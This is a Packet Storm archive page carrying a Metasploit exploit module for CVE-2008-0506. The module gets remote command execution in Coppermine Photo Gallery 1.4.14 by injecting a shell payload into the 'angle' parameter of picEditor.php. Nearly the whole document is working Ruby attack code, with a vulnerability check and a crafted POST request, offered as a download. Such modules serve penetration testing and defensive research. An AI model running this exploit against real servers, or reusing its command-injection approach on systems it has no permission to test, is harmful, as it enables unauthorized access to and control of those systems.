what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution
Posted Feb 20, 2010
Authored by Janek Vind aka waraxe | Site metasploit.com

This Metasploit module exploits a vulnerability in the picEditor.php script of Coppermine Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle', and 'clipval' parameters are not properly escaped before being passed. NOTE: Use of the ImageMagick library is a non-default option. However, a user can specify its use at installation time.

tags | exploit, php
advisories | CVE-2008-0506
SHA-256 | c125091ac8421181cd0302afb6f49897b22d6f924ad3dc28cf4a23ab0afcfdee

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution

Change Mirror Download
##
# $Id: coppermine_piceditor.rb 8562 2010-02-19 07:31:12Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution',
'Description' => %q{
This module exploits a vulnerability in the picEditor.php script of Coppermine
Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle',
and 'clipval' parameters are not properly escaped before being passed to the PHP
'exec' command.

In order to reach the vulnerable 'exec' call, the input must pass several validation
steps.

The vulnerabilities actually reside in the following functions:

image_processor.php: rotate_image(...)
include/imageObjectIM.class.php: imageObject::cropImage(...)
include/imageObjectIM.class.php: imageObject::rotateImage(...)
include/imageObjectIM.class.php: imageObject::resizeImage(...)
include/picmgmt.inc.php: resize_image(...)

NOTE: Use of the ImageMagick library is a non-default option. However, a user can
specify its use at installation time.
},
'Author' =>
[
'Janek Vind', # original discovery/exploit
'jduck' # metasploit version
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8562 $',
'References' =>
[
[ 'CVE', '2008-0506' ],
[ 'OSVDB', '41676' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5019' ],
[ 'URL', 'http://forum.coppermine-gallery.net/index.php?topic=50103.0' ]
],
'Privileged' => true, # web server context
'Payload' =>
{
'DisableNops' => true,
'BadChars' => '\'', # input gets passed to htmlentities
'Space' => 1024,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 30 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [ true, "Coppermine directory path", "/cpg1414" ]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + '/picEditor.php'
}, 25)

if (res and res.body =~ /Coppermine Picture Editor/i)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def exploit

valid_imgs = %w{thumb_audio.jpg thumb_avi.jpg thumb_doc.jpg thumb_document.jpg thumb_gz.jpg
thumb_htm.jpg thumb_html.jpg thumb_mid.jpg thumb_midi.jpg thumb_mov.jpg thumb_movie.jpg
thumb_mp3.jpg thumb_mpeg.jpg thumb_mpg.jpg thumb_nopic.jpg thumb_ogg.jpg thumb_pdf.jpg
thumb_private.jpg thumb_qtv.jpg thumb_ra.jpg thumb_ram.jpg thumb_rar.jpg thumb_rm.jpg
thumb_rmj.jpg thumb_swf.jpg thumb_txt.jpg thumb_wav.jpg thumb_wma.jpg thumb_wmv.jpg
thumb_xls.jpg thumb_zip.jpg}
img = '../../images/' + valid_imgs[rand(valid_imgs.length)]
# suppress errors from convert
angle = rand_text_numeric(1+rand(8)) + ' -quiet 1 2'
# and exec our cmd :)
angle += ';' + payload.encoded + ';#'

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'] + "/picEditor.php",
'vars_post' =>
{
'angle' => angle,
'quality' => '50', # not required, but fixes an error message
'newimage' => img
}
}, 25)

if (res and res.code == 200)
print_status("Successfully POST'd exploit data")
else
raise RuntimeError, "Error POSTing exploit data"
end

handler
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close